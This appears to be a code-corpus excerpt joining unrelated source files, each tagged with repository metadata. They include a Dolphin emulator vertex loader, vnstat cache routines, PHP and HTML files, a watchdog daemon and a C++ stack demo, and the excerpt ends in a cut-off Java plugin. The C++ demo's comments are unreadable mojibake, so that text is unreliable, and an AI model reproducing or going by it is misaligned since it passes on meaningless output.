ORR(scratch2_reg, scratch2_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 6));
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 16));
// G
UBFM(scratch2_reg, scratch3_reg, 12, 17);
ORR(scratch2_reg, WSP, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 2));
ORR(scratch2_reg, scratch2_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 6));
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 8));
// R
UBFM(scratch2_reg, scratch3_reg, 18, 23);
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSL, 2));
ORR(scratch1_reg, scratch1_reg, scratch2_reg, ArithOption(scratch2_reg, ShiftType::LSR, 4));
STR(IndexType::Unsigned, scratch1_reg, dst_reg, m_dst_ofs);
load_bytes = 3;
break;
}
if (attribute == DIRECT)
m_src_ofs += load_bytes;
}
void VertexLoaderARM64::GenerateVertexLoader()
{
// R0 - Source pointer
// R1 - Destination pointer
// R2 - Count
// R30 - LR
//
// R0 return how many
//
// Registers we don't have to worry about saving
// R9-R17 are caller saved temporaries
// R18 is a temporary or platform specific register(iOS)
//
// VFP registers
// We can touch all except v8-v15
// If we need to use those, we need to retain the lower 64bits(!) of the register
const u64 tc[8] = {
m_VtxDesc.Tex0Coord, m_VtxDesc.Tex1Coord, m_VtxDesc.Tex2Coord, m_VtxDesc.Tex3Coord,
m_VtxDesc.Tex4Coord, m_VtxDesc.Tex5Coord, m_VtxDesc.Tex6Coord, m_VtxDesc.Tex7Coord,
};
bool has_tc = false;
bool has_tc_scale = false;
for (int i = 0; i < 8; i++)
{
has_tc |= tc[i] != 0;
has_tc_scale |= !!m_VtxAttr.texCoord[i].Frac;
}
bool need_scale =
(m_VtxAttr.ByteDequant && m_VtxAttr.PosFrac) || (has_tc && has_tc_scale) || m_VtxDesc.Normal;
AlignCode16();
if (m_VtxDesc.Position & MASK_INDEXED)
MOV(skipped_reg, WZR);
MOV(saved_count, count_reg);
MOVP2R(stride_reg, g_main_cp_state.array_strides);
MOVP2R(arraybase_reg, VertexLoaderManager::cached_arraybases);
if (need_scale)
MOVP2R(scale_reg, scale_factors);
const u8* loop_start = GetCodePtr();
if (m_VtxDesc.PosMatIdx)
{
LDRB(IndexType::Unsigned, scratch1_reg, src_reg, m_src_ofs);
AND(scratch1_reg, scratch1_reg, 0, 5);
STR(IndexType::Unsigned, scratch1_reg, dst_reg, m_dst_ofs);
// Z-Freeze
CMP(count_reg, 3);
FixupBranch dont_store = B(CC_GT);
MOVP2R(EncodeRegTo64(scratch2_reg), VertexLoaderManager::position_matrix_index);
STR(IndexType::Unsigned, scratch1_reg, EncodeRegTo64(scratch2_reg), 0);
SetJumpTarget(dont_store);
m_native_components |= VB_HAS_POSMTXIDX;
m_native_vtx_decl.posmtx.components = 4;
m_native_vtx_decl.posmtx.enable = true;
m_native_vtx_decl.posmtx.offset = m_dst_ofs;
m_native_vtx_decl.posmtx.type = VAR_UNSIGNED_BYTE;
m_native_vtx_decl.posmtx.integer = true;
m_src_ofs += sizeof(u8);
m_dst_ofs += sizeof(u32);
}
u32 texmatidx_ofs[8];
const u64 tm[8] = {
m_VtxDesc.Tex0MatIdx, m_VtxDesc.Tex1MatIdx, m_VtxDesc.Tex2MatIdx, m_VtxDesc.Tex3MatIdx,
m_VtxDesc.Tex4MatIdx, m_VtxDesc.Tex5MatIdx, m_VtxDesc.Tex6MatIdx, m_VtxDesc.Tex7MatIdx,
};
for (int i = 0; i < 8; i++)
{
if (tm[i])
texmatidx_ofs[i] = m_src_ofs++;
}
// Position
{
int elem_size = 1 << (m_VtxAttr.PosFormat / 2);
int load_bytes = elem_size * (m_VtxAttr.PosElements + 2);
int load_size =
load_bytes == 1 ? 1 : load_bytes <= 2 ? 2 : load_bytes <= 4 ? 4 : load_bytes <= 8 ? 8 : 16;
load_size <<= 3;
s32 offset =
GetAddressImm(ARRAY_POSITION, m_VtxDesc.Position, EncodeRegTo64(scratch1_reg), load_size);
int pos_elements = m_VtxAttr.PosElements + 2;
ReadVertex(m_VtxDesc.Position, m_VtxAttr.PosFormat, pos_elements, pos_elements,
m_VtxAttr.ByteDequant, m_VtxAttr.PosFrac, &m_native_vtx_decl.position, offset);
}
if (m_VtxDesc.Normal)
{
static const u8 map[8] = {7, 6, 15, 14};
u8 scaling_exponent = map[m_VtxAttr.NormalFormat];
s32 offset = -1;
for (int i = 0; i < (m_VtxAttr.NormalElements ? 3 : 1); i++)
{
if (!i || m_VtxAttr.NormalIndex3)
{
int elem_size = 1 << (m_VtxAttr.NormalFormat / 2);
int load_bytes = elem_size * 3;
int load_size = load_bytes == 1 ?
1 :
load_bytes <= 2 ? 2 : load_bytes <= 4 ? 4 : load_bytes <= 8 ? 8 : 16;
offset = GetAddressImm(ARRAY_NORMAL, m_VtxDesc.Normal, EncodeRegTo64(scratch1_reg),
load_size << 3);
if (offset == -1)
ADD(EncodeRegTo64(scratch1_reg), EncodeRegTo64(scratch1_reg), i * elem_size * 3);
else
offset += i * elem_size * 3;
}
int bytes_read = ReadVertex(m_VtxDesc.Normal, m_VtxAttr.NormalFormat, 3, 3, true,
scaling_exponent, &m_native_vtx_decl.normals[i], offset);
if (offset == -1)
ADD(EncodeRegTo64(scratch1_reg), EncodeRegTo64(scratch1_reg), bytes_read);
else
offset += bytes_read;
}
m_native_components |= VB_HAS_NRM0;
if (m_VtxAttr.NormalElements)
m_native_components |= VB_HAS_NRM1 | VB_HAS_NRM2;
}
const u64 col[2] = {m_VtxDesc.Color0, m_VtxDesc.Color1};
for (int i = 0; i < 2; i++)
{
m_native_vtx_decl.colors[i].components = 4;
m_native_vtx_decl.colors[i].type = VAR_UNSIGNED_BYTE;
m_native_vtx_decl.colors[i].integer = false;
if (col[i])
{
u32 align = 4;
if (m_VtxAttr.color[i].Comp == FORMAT_16B_565 || m_VtxAttr.color[i].Comp == FORMAT_16B_4444)
align = 2;
s32 offset = GetAddressImm(ARRAY_COLOR + i, col[i], EncodeRegTo64(scratch1_reg), align);
ReadColor(col[i], m_VtxAttr.color[i].Comp, offset);
m_native_components |= VB_HAS_COL0 << i;
m_native_vtx_decl.colors[i].components = 4;
m_native_vtx_decl.colors[i].enable = true;
m_native_vtx_decl.colors[i].offset = m_dst_ofs;
m_native_vtx_decl.colors[i].type = VAR_UNSIGNED_BYTE;
m_native_vtx_decl.colors[i].integer = false;
m_dst_ofs += 4;
}
}
for (int i = 0; i < 8; i++)
{
m_native_vtx_decl.texcoords[i].offset = m_dst_ofs;
m_native_vtx_decl.texcoords[i].type = VAR_FLOAT;
m_native_vtx_decl.texcoords[i].integer = false;
int elements = m_VtxAttr.texCoord[i].Elements + 1;
if (tc[i])
{
m_native_components |= VB_HAS_UV0 << i;
int elem_size = 1 << (m_VtxAttr.texCoord[i].Format / 2);
int load_bytes = elem_size * (elements + 2);
int load_size = load_bytes == 1 ?
1 :
load_bytes <= 2 ? 2 : load_bytes <= 4 ? 4 : load_bytes <= 8 ? 8 : 16;
load_size <<= 3;
s32 offset =
GetAddressImm(ARRAY_TEXCOORD0 + i, tc[i], EncodeRegTo64(scratch1_reg), load_size);
u8 scaling_exponent = m_VtxAttr.texCoord[i].Frac;
ReadVertex(tc[i], m_VtxAttr.texCoord[i].Format, elements, tm[i] ? 2 : elements,
m_VtxAttr.ByteDequant, scaling_exponent, &m_native_vtx_decl.texcoords[i], offset);
}
if (tm[i])
{
m_native_components |= VB_HAS_TEXMTXIDX0 << i;
m_native_vtx_decl.texcoords[i].components = 3;
m_native_vtx_decl.texcoords[i].enable = true;
m_native_vtx_decl.texcoords[i].type = VAR_FLOAT;
m_native_vtx_decl.texcoords[i].integer = false;
LDRB(IndexType::Unsigned, scratch2_reg, src_reg, texmatidx_ofs[i]);
m_float_emit.UCVTF(S31, scratch2_reg);
if (tc[i])
{
m_float_emit.STR(32, IndexType::Unsigned, D31, dst_reg, m_dst_ofs);
m_dst_ofs += sizeof(float);
}
else
{
m_native_vtx_decl.texcoords[i].offset = m_dst_ofs;
if (m_dst_ofs < 256)
{
STUR(SP, dst_reg, m_dst_ofs);
}
else if (!(m_dst_ofs & 7))
{
// If m_dst_ofs isn't 8byte aligned we can't store an 8byte zero register
// So store two 4byte zero registers
// The destination is always 4byte aligned
STR(IndexType::Unsigned, WSP, dst_reg, m_dst_ofs);
STR(IndexType::Unsigned, WSP, dst_reg, m_dst_ofs + 4);
}
else
{
STR(IndexType::Unsigned, SP, dst_reg, m_dst_ofs);
}
m_float_emit.STR(32, IndexType::Unsigned, D31, dst_reg, m_dst_ofs + 8);
m_dst_ofs += sizeof(float) * 3;
}
}
}
// Prepare for the next vertex.
ADD(dst_reg, dst_reg, m_dst_ofs);
const u8* cont = GetCodePtr();
ADD(src_reg, src_reg, m_src_ofs);
SUB(count_reg, count_reg, 1);
CBNZ(count_reg, loop_start);
if (m_VtxDesc.Position & MASK_INDEXED)
{
SUB(W0, saved_count, skipped_reg);
RET(X30);
SetJumpTarget(m_skip_vertex);
ADD(skipped_reg, skipped_reg, 1);
B(cont);
}
else
{
MOV(W0, saved_count);
RET(X30);
}
FlushIcache();
m_VertexSize = m_src_ofs;
m_native_vtx_decl.stride = m_dst_ofs;
}
int VertexLoaderARM64::RunVertices(DataReader src, DataReader dst, int count)
{
m_numLoadedVertices += count;
return ((int (*)(u8 * src, u8 * dst, int count)) region)(src.GetPointer(), dst.GetPointer(),
count);
}
|
Ebola16/dolphin
|
Source/Core/VideoCommon/VertexLoaderARM64.cpp
|
C++
|
gpl-2.0
| 20,467
|
#include "common.h"
#include "datacache.h"
int datacache_add(datacache **dc, const char *interface, const short sync)
{
datacache *newdc;
newdc = malloc(sizeof(datacache));
if (newdc == NULL) {
return 0;
}
newdc->next = *dc;
*dc = newdc;
strncpy_nt((*dc)->interface, interface, 32);
(*dc)->active = 1;
(*dc)->filled = 0;
(*dc)->syncneeded = sync;
(*dc)->currx = 0;
(*dc)->curtx = 0;
(*dc)->updated = time(NULL);
(*dc)->log = NULL;
return 1;
}
int datacache_remove(datacache **dc, const char *interface)
{
int ret = 0;
datacache *dc_prev, *dc_head;
dc_head = *dc;
dc_prev = *dc;
if (*dc == NULL) {
return ret;
}
/* handle list head remove */
if (strcmp((*dc)->interface, interface) == 0) {
*dc = (*dc)->next;
xferlog_clear(&dc_prev->log);
free(dc_prev);
return 1;
}
*dc = (*dc)->next;
/* handle other locations */
while (*dc != NULL) {
if (strcmp((*dc)->interface, interface) == 0) {
dc_prev->next = (*dc)->next;
xferlog_clear(&(*dc)->log);
free(*dc);
ret = 1;
break;
}
dc_prev = *dc;
*dc = (*dc)->next;
}
*dc = dc_head;
return ret;
}
void datacache_clear(datacache **dc)
{
datacache *dc_prev;
while (*dc != NULL) {
dc_prev = *dc;
*dc = (*dc)->next;
xferlog_clear(&dc_prev->log);
free(dc_prev);
}
}
int datacache_count(datacache **dc)
{
int count = 0;
datacache *cacheiterator = *dc;
while (cacheiterator != NULL) {
count++;
cacheiterator = cacheiterator->next;
}
return count;
}
int datacache_activecount(datacache **dc)
{
int count = 0;
datacache *cacheiterator = *dc;
while (cacheiterator != NULL) {
if (cacheiterator->active) {
count++;
}
cacheiterator = cacheiterator->next;
}
return count;
}
void datacache_debug(datacache **dc)
{
int i = 1;
datacache *cacheiterator = *dc;
if (cacheiterator == NULL) {
printf("cache: empty\n");
return;
}
printf("cache: ");
while (cacheiterator != NULL) {
printf(" %d: \"%s\" (", i, cacheiterator->interface);
xferlog_debug(&cacheiterator->log, 0);
printf(") ");
cacheiterator = cacheiterator->next;
i++;
}
printf("\n");
}
int xferlog_add(xferlog **log, const time_t timestamp, const uint64_t rx, const uint64_t tx)
{
xferlog *newlog;
if (*log == NULL || (*log)->timestamp != timestamp) {
newlog = malloc(sizeof(xferlog));
if (newlog == NULL) {
return 0;
}
newlog->next = *log;
*log = newlog;
newlog->timestamp = timestamp;
newlog->rx = 0;
newlog->tx = 0;
}
(*log)->rx += rx;
(*log)->tx += tx;
return 1;
}
void xferlog_clear(xferlog **log)
{
xferlog *log_prev;
while (*log != NULL) {
log_prev = *log;
*log = (*log)->next;
free(log_prev);
}
}
void xferlog_debug(xferlog **log, const int newline)
{
int i = 1;
xferlog *logiterator = *log;
if (newline && logiterator == NULL) {
printf(" xferlog: empty\n");
return;
}
if (newline) {
printf(" xferlog: ");
}
while (logiterator != NULL) {
printf("%d: %" PRIu64 " - %" PRIu64 " / %" PRIu64 "", i, (uint64_t)logiterator->timestamp, logiterator->rx, logiterator->tx);
if (logiterator->next != NULL) {
printf(", ");
}
logiterator = logiterator->next;
i++;
}
if (newline) {
printf("\n");
}
}
|
vergoh/vnstat
|
src/datacache.c
|
C
|
gpl-2.0
| 3,189
|
<?php
/**
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; under version 2
* of the License (non-upgradable).
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* Copyright (c) 2017 (original work) Open Assessment Technologies SA;
*/
namespace oat\taoQtiTest\scripts\install;
use oat\generis\model\WidgetRdf;
use oat\oatbox\extension\InstallAction;
use oat\taoQtiTest\models\cat\CatService;
use \common_report_Report as Report;
/**
* Class ShowQtiAdaptiveSectionIds
*
* Hide the QTI CAT Adaptive Section IDs from the Graphical User Interface.
*
* @package oat\taoQtiTest\scripts\install
*/
class HideQtiAdaptiveSectionIds extends InstallAction
{
public function __invoke($params)
{
$adaptiveSectionIdsProperty = new \core_kernel_classes_Property(CatService::CAT_ADAPTIVE_IDS_PROPERTY);
$widgetProperty = new \core_kernel_classes_Property(WidgetRdf::PROPERTY_WIDGET);
$adaptiveSectionIdsProperty->removePropertyValues($widgetProperty);
return new Report(Report::TYPE_SUCCESS, 'QTI CAT Adaptive Section IDs are now hidden in the GUI.');
}
}
|
oat-sa/extension-tao-testqti
|
scripts/install/HideQtiAdaptiveSectionIds.php
|
PHP
|
gpl-2.0
| 1,644
|
<?php
/**
*
* Template for the shopping cart
*
* @package VirtueMart
* @subpackage Cart
* @author Max Milbers
*
* @link http://www.virtuemart.net
* @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* VirtueMart is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
*/
?>
<?php
echo "<h3>".JText::_('COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU')."</h3>";
echo $this->html;
?>
|
kenbabu/emproj
|
components/com_virtuemart/views/cart/tmpl/order_done.php
|
PHP
|
gpl-2.0
| 699
|
/*
* GPL LICENSE SUMMARY
*
* Started by Venkat Jayaraman <venkat.jayaraman@intel.com>, Copyright(c) 2016 Intel Corporation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of either version 2 or any later version of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Watchdog timer application to keep Aero platform alive.
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/watchdog.h>
#include <unistd.h>
#define WDTDEV "/dev/watchdog"
#define TIMEOUT 90
#define TRUE 1
#define FALSE 0
int main( int argc, char *argv[] ) {
int fd;
unsigned int timeout = TIMEOUT;
unsigned int sleeptime = 10;
int ret = 0;
/* parse watch-dog timer configuration */
if (argc == 2)
timeout = atoi(argv[1]);
fd = open(WDTDEV, O_RDWR | O_NONBLOCK);
if (fd == -1) {
printf("ERROR: Aero watchdog daemon: Open watchdog device node failed\n");
return -1;
}
/* Set watchdog timeout */
if (ioctl(fd, WDIOC_SETTIMEOUT, &timeout)) {
printf("ERROR: Aero watchdog daemon: Set time out failed\n");
return -1;
}
while (1) {
ret = write(fd, "\0", 1);
if (ret != 1) {
printf("ERROR: Keep Alive write to watchdog device file failed!\n");
ret = -1;
break;
}
sleep(sleeptime);
}
close(fd);
return ret;
}
|
intel-aero/meta-intel-aero-base
|
recipes-support/aero-watchdog/aero-watchdog/aero-watchdog.c
|
C
|
gpl-2.0
| 1,680
|
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>QMailViewerPlugin Class Reference</title>
<link href="classic.css" rel="stylesheet" type="text/css" />
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td align="left" valign="top" width="32"><img src="images/qpelogo.png" align="left" width="32" height="32" border="0" /></td>
<td width="1"> </td><td class="postheader" valign="center"><a href="index.html"><font color="#004faf">Home</font></a> · <a href="classes.html"><font color="#004faf">All Classes</font></a> · <a href="groups.html"><font color="#004faf">Grouped Classes</font></a> · <a href="annotated.html"><font color="#004faf">Annotated</font></a> · <a href="functions.html"><font color="#004faf">Functions</font></a></td>
<td align="right" valign="top"><img src="images/codeless.png" align="right" border="0" /></td></tr></table><h1 class="title">QMailViewerPlugin Class Reference</h1>
<p>The QMailViewerPlugin class defines a base class for implementing mail message viewer plug-ins. <a href="#details">More...</a></p>
<pre> #include <QMailViewerPlugin></pre><p>Inherits <a href="qobject.html">QObject</a> and <a href="qmailviewerplugininterface.html">QMailViewerPluginInterface</a>.</p>
<ul>
<li><a href="qmailviewerplugin-members.html">List of all members, including inherited members</a></li>
</ul>
<a name="public-functions"></a>
<h3>Public Functions</h3>
<ul>
<li><div class="fn"/><b><a href="qmailviewerplugin.html#QMailViewerPlugin">QMailViewerPlugin</a></b> ()</li>
<li><div class="fn"/><b><a href="qmailviewerplugin.html#dtor.QMailViewerPlugin">~QMailViewerPlugin</a></b> ()</li>
<li><div class="fn"/>virtual QStringList <b><a href="qmailviewerplugin.html#keys">keys</a></b> () const</li>
</ul>
<ul>
<li><div class="fn"/>29 public functions inherited from <a href="qobject.html#public-functions">QObject</a></li>
<li><div class="fn"/>3 public functions inherited from <a href="qmailviewerplugininterface.html#public-functions">QMailViewerPluginInterface</a></li>
</ul>
<h3>Additional Inherited Members</h3>
<ul>
<li><div class="fn"/>1 property inherited from <a href="qobject.html#properties">QObject</a></li>
<li><div class="fn"/>1 public slot inherited from <a href="qobject.html#public-slots">QObject</a></li>
<li><div class="fn"/>1 signal inherited from <a href="qobject.html#signals">QObject</a></li>
<li><div class="fn"/>1 public type inherited from <a href="qobject.html#public-variables">QObject</a></li>
<li><div class="fn"/>4 static public members inherited from <a href="qobject.html#static-public-members">QObject</a></li>
<li><div class="fn"/>7 protected functions inherited from <a href="qobject.html#protected-functions">QObject</a></li>
<li><div class="fn"/>2 protected variables inherited from <a href="qobject.html#protected-variables">QObject</a></li>
</ul>
<a name="details"></a>
<hr />
<h2>Detailed Description</h2>
<p>The QMailViewerPlugin class defines a base class for implementing mail message viewer plug-ins.</p>
<p>The QMailViewerPlugin class provides a base class for plug-in classes that provide mail message viewing functionality. Classes that inherit QMailViewerPlugin need to provide overrides of the <a href="qmailviewerplugininterface.html#key">key()</a>, <a href="qmailviewerplugininterface.html#isSupported">isSupported()</a> and <a href="qmailviewerplugininterface.html#create">create()</a> member functions.</p>
<p>See also <a href="qmailviewerplugininterface.html">QMailViewerPluginInterface</a> and <a href="qmailviewerinterface.html">QMailViewerInterface</a>.</p>
<hr />
<h2>Member Function Documentation</h2>
<h3 class="fn"><a name="QMailViewerPlugin"></a>QMailViewerPlugin::QMailViewerPlugin ()</h3>
<p>Create a mail message viewer plug-in instance.</p>
<h3 class="fn"><a name="dtor.QMailViewerPlugin"></a>QMailViewerPlugin::~QMailViewerPlugin ()</h3>
<p>Destructs the <a href="qmailviewerplugin.html">QMailViewerPlugin</a> object.</p>
<h3 class="fn"><a name="keys"></a><a href="qstringlist.html">QStringList</a> QMailViewerPlugin::keys () const <tt> [virtual]</tt></h3>
<p>Returns the list of interfaces implemented by this plug-in.</p>
<p /><address><hr /><div align="center">
<table width="100%" cellspacing="0" border="0"><tr class="address">
<td align="left">Copyright © 2008 Trolltech</td>
<td align="center"><a href="trademarks.html">Trademarks</a></td>
<td align="right"><div align="right">Qtopia 4.3.4</div></td>
</tr></table></div></address></body>
</html>
|
muromec/qtopia-ezx
|
doc/html/qmailviewerplugin.html
|
HTML
|
gpl-2.0
| 4,723
|
mn_scythe_sprinkler_swipe_sprinkler = 0
|
PAPAGENO-devels/papageno
|
test/benchmarks/Lua/lua-regression-test/grim/mn_scythe_sprinkler.lua
|
Lua
|
gpl-2.0
| 40
|
//stlÌṩÁËÁ½ÖÖÈÝÆ÷£ºÐòÁУ¨vector¡¢list¡¢deque£©ºÍ¹ØÁªÈÝÆ÷£¨map¡¢mutilmap¡¢set¡¢mutilset£©
//¶ø stackºÍqueueÊÇ×÷Ϊ»ù±¾ÈÝÆ÷µÄÊÊÅäÆ÷¡£
////-----------------------------------Ðò ÁÐ--------------------------------
////-----------------------------------ÊÊÅäÆ÷--------------------------------
//ÊÊÅäÆ÷ÌṩµÄÊÂÔÀ´ÈÝÆ÷µÄÒ»¸öÊÜÏ޵ĽçÃæ£¬ÌرðÊÇÈÝÆ÷²»Ìṩµü´úÆ÷
//±ÈÈ磺stackĬÈÏʹÓÃÒ»¸ödeque±£´æ×Ô¼ºµÄÔªËØ£¬µ«Ò²¿ÉÒÔ²ÉÓÃÈκÎÌṩÁËback()¡¢push_back()ºÍpop_back()µÄÐòÁÐ
// ÀýÈ磺 stack<int> s1; //ÓÃdeque<int>±£´æÊý¾Ý
// stack<int,vector<int> > s2;////ÓÃvector<int>±£´æÊý¾Ý
// queueĬÈÏʹÓÃÒ»¸ödeque±£´æ×Ô¼ºµÄÔªËØ£¬µ«Ò²¿ÉÒÔ²ÉÓÃÈκÎÌṩÁËfront()¡¢back()¡¢push_back()ºÍpop_front()µÄÐòÁÐ
// µ«vectorûÓÐÌṩpop_front()²Ù×÷£¬ËùÒÔvector²»ÄÜÓÃ×÷queueµÄ»ù´¡ÈÝÆ÷
// priority_queue ĬÈÏʹÓÃÒ»¸övector±£´æ×Ô¼ºµÄÔªËØ£¬µ«Ò²¿ÉÒÔ²ÉÓÃÈκÎÌṩÁËfront()¡¢push_back()ºÍpop_back()µÄÐòÁÐ
// Æä±¾ÉíÒ²ÊÇÒ»ÖÖ¶ÓÁУ¬ÆäÖеÄÿһ¸öÔªËØ±»¸ø¶¨ÁËÒ»¸öÓÅÏȼ¶£¬ÒÔ´ËÀ´¿ØÖÆÔªËص½´ïtop£¨£©µÄ˳Ðò
////---------------------------------¹ØÁªÈÝÆ÷--------------------------------
//set, multiset, map, multimap ÊÇÒ»ÖÖ·ÇÏßÐÔµÄÊ÷½á¹¹£¬¾ßÌåµÄ˵²ÉÓõÄÊÇÒ»ÖֱȽϸßЧµÄÌØÊâµÄƽºâ¼ìË÷¶þ²æÊ÷¡ª¡ª ºìºÚÊ÷½á¹¹
//set ÓֳƼ¯ºÏ£¬Êµ¼ÊÉϾÍÊÇÒ»×éÔªËØµÄ¼¯ºÏ£¬µ«ÆäÖÐËù°üº¬µÄÔªËØµÄÖµÊÇΨһµÄ£¬ÇÒÊǰ´Ò»¶¨Ë³ÐòÅÅÁе쬼¯ºÏÖеÄÿ¸öÔªËØ±»³Æ×÷
// ¼¯ºÏÖеÄʵÀý¡£ÒòΪÆäÄÚ²¿ÊÇͨ¹ýÁ´±íµÄ·½Ê½À´×éÖ¯£¬ËùÒÔÔÚ²åÈëµÄʱºò±Èvector ¿ì£¬µ«ÔÚ²éÕÒºÍĩβÌí¼ÓÉϱÈvectorÂý¡£
//multiset ÊǶàÖØ¼¯ºÏ£¬ÆäʵÏÖ·½Ê½ºÍset ÊÇÏàËÆµÄ£¬Ö»ÊÇËü²»ÒªÇ󼯺ÏÖеÄÔªËØÊÇΨһµÄ£¬Ò²¾ÍÊÇ˵¼¯ºÏÖеÄͬһ¸öÔªËØ¿ÉÒÔ³öÏÖ¶à´Î¡£
//map ÌṩһÖÖ¡°¼ü- Öµ¡±¹ØÏµµÄÒ»¶ÔÒ»µÄÊý¾Ý´æ´¢ÄÜÁ¦¡£Æä¡°¼ü¡±ÔÚÈÝÆ÷Öв»¿ÉÖØ¸´£¬ÇÒ°´Ò»¶¨Ë³ÐòÅÅÁУ¨ÆäʵÎÒÃÇ¿ÉÒÔ½«set Ò²¿´³ÉÊÇ
// Ò»ÖÖ¼ü- Öµ¹ØÏµµÄ´æ´¢£¬Ö»ÊÇËüÖ»ÓмüûÓÐÖµ¡£ËüÊÇmap µÄÒ»ÖÖÌØÊâÐÎʽ£©¡£ÓÉÓÚÆäÊǰ´Á´±íµÄ·½Ê½´æ´¢£¬ËüÒ²¼Ì³ÐÁËÁ´±íµÄÓÅȱµã¡£
//multimap ºÍmap µÄÔÀí»ù±¾ÏàËÆ£¬ËüÔÊÐí¡°¼ü¡±ÔÚÈÝÆ÷ÖпÉÒÔ²»Î¨Ò»¡£
//vector¡¢list¡¢dequeÑ¡Ôñ¹æÔò
// 1¡¢Èç¹ûÐèÒª¸ßЧµÄËæ¼´´æÈ¡£¬¶ø²»ÔÚºõ²åÈëºÍɾ³ýµÄЧÂÊ£¬Ê¹ÓÃvector
// 2¡¢Èç¹ûÐèÒª´óÁ¿µÄ²åÈëºÍɾ³ý£¬¶ø²»¹ØÐÄËæ¼´´æÈ¡£¬ÔòӦʹÓÃlist
// 3¡¢Èç¹ûÐèÒªËæ¼´´æÈ¡£¬¶øÇÒ¹ØÐÄÁ½¶ËÊý¾ÝµÄ²åÈëºÍɾ³ý£¬ÔòӦʹÓÃdeque¡£
//map¡¢mutilmap¡¢set¡¢mutilsetÑ¡Ôñ¹æÔò
//stackÄ£°åÀàµÄ¶¨ÒåÔÚ<stack>Í·ÎļþÖÐ
// stackÄ£°åÀàÐèÒªÁ½¸öÄ£°å²ÎÊý£¬Ò»¸öÊÇÔªËØÀàÐÍ£¬Ò»¸öÈÝÆ÷ÀàÐÍ£¬µ«Ö»ÓÐÔªËØÀàÐÍÊDZØÒªµÄ£¬ÔÚ²»Ö¸¶¨ÈÝÆ÷ÀàÐÍʱ£¬Ä¬ÈϵÄÈÝÆ÷ÀàÐÍΪdeque¡£
//
// ¶¨Òåstack¶ÔÏóµÄʾÀý´úÂëÈçÏ£º
// stack<int> s1;
// stack<string> s2;
//
//stackµÄ»ù±¾²Ù×÷ÓУº
// ÈëÕ»£¬ÈçÀý£ºs.push(x);
// ³öÕ»£¬ÈçÀý£ºs.pop();×¢Ò⣬³öÕ»²Ù×÷Ö»ÊÇɾ³ýÕ»¶¥ÔªËØ£¬²¢²»·µ»Ø¸ÃÔªËØ¡£
// ·ÃÎÊÕ»¶¥£¬ÈçÀý£ºs.top()
// ÅжÏÕ»¿Õ£¬ÈçÀý£ºs.empty()£¬µ±Õ»¿Õʱ£¬·µ»Øtrue¡£
// ·ÃÎÊÕ»ÖеÄÔªËØ¸öÊý£¬ÈçÀý£ºs.size()
#include <iostream>
#include <ostream>
#include <stack>
#include <vector>
#include <algorithm>
#include <iterator>
#include <numeric>
using namespace std;
int main ()
{
vector<int> v1(5), v2(5), v3(5);
iota(v1.begin(), v1.end(), 0);
iota(v2.begin(), v2.end(), 5);
iota(v3.begin(), v3.end(), 10);
stack<vector<int> > s;
s.push(v1);
s.push(v2);
s.push(v3);
cout << "size of stack 's' = "
<< s.size() << endl;
if ( v3 != v2 )
s.pop();
cout << "size of stack 's' = "
<< s.size() << endl;
vector<int> top = s.top();
cout << "Contents of v2 : ";
copy(top.begin(),top.end(), ostream_iterator<int>(cout," "));
cout << endl;
while ( !s.empty() )
s.pop();
cout << "Stack 's' is " << (s.empty() ? "" : "not ") << "empty" << endl;
system("pause");
return 0;
}
|
lizhenghn123/CppLanguagePrograms
|
STL/stackDemo/stackDemo.cpp
|
C++
|
gpl-2.0
| 3,385
|
package io.github.yannici.bedwars.Game;
import io.github.yannici.bedwars.Main;
import io.github.yannici.bedwars.Utils;
import io.github.yannici.bedwars.Events.BedwarsOpenTeamSelectionEvent;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.PlayerInventory;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.inventory.meta.LeatherArmorMeta;
import org.bukkit.potion.PotionEffect;
public class PlayerStorage {
private Player player = null;
private ItemStack[] inventory = null;
private ItemStack[] armor = null;
private float xp = 0.0F;
private Collection<PotionEffect> effects = null;
private GameMode mode = null;
private Location left = null;
private int level = 0;
private String displayName = null;
private String listName = null;
private int foodLevel = 0;
public PlayerStorage(Player p) {
super();
this.player = p;
}
public void store() {
this.inventory = this.player.getInventory().getContents();
this.armor = this.player.getInventory().getArmorContents();
this.xp = Float.valueOf(this.player.getExp());
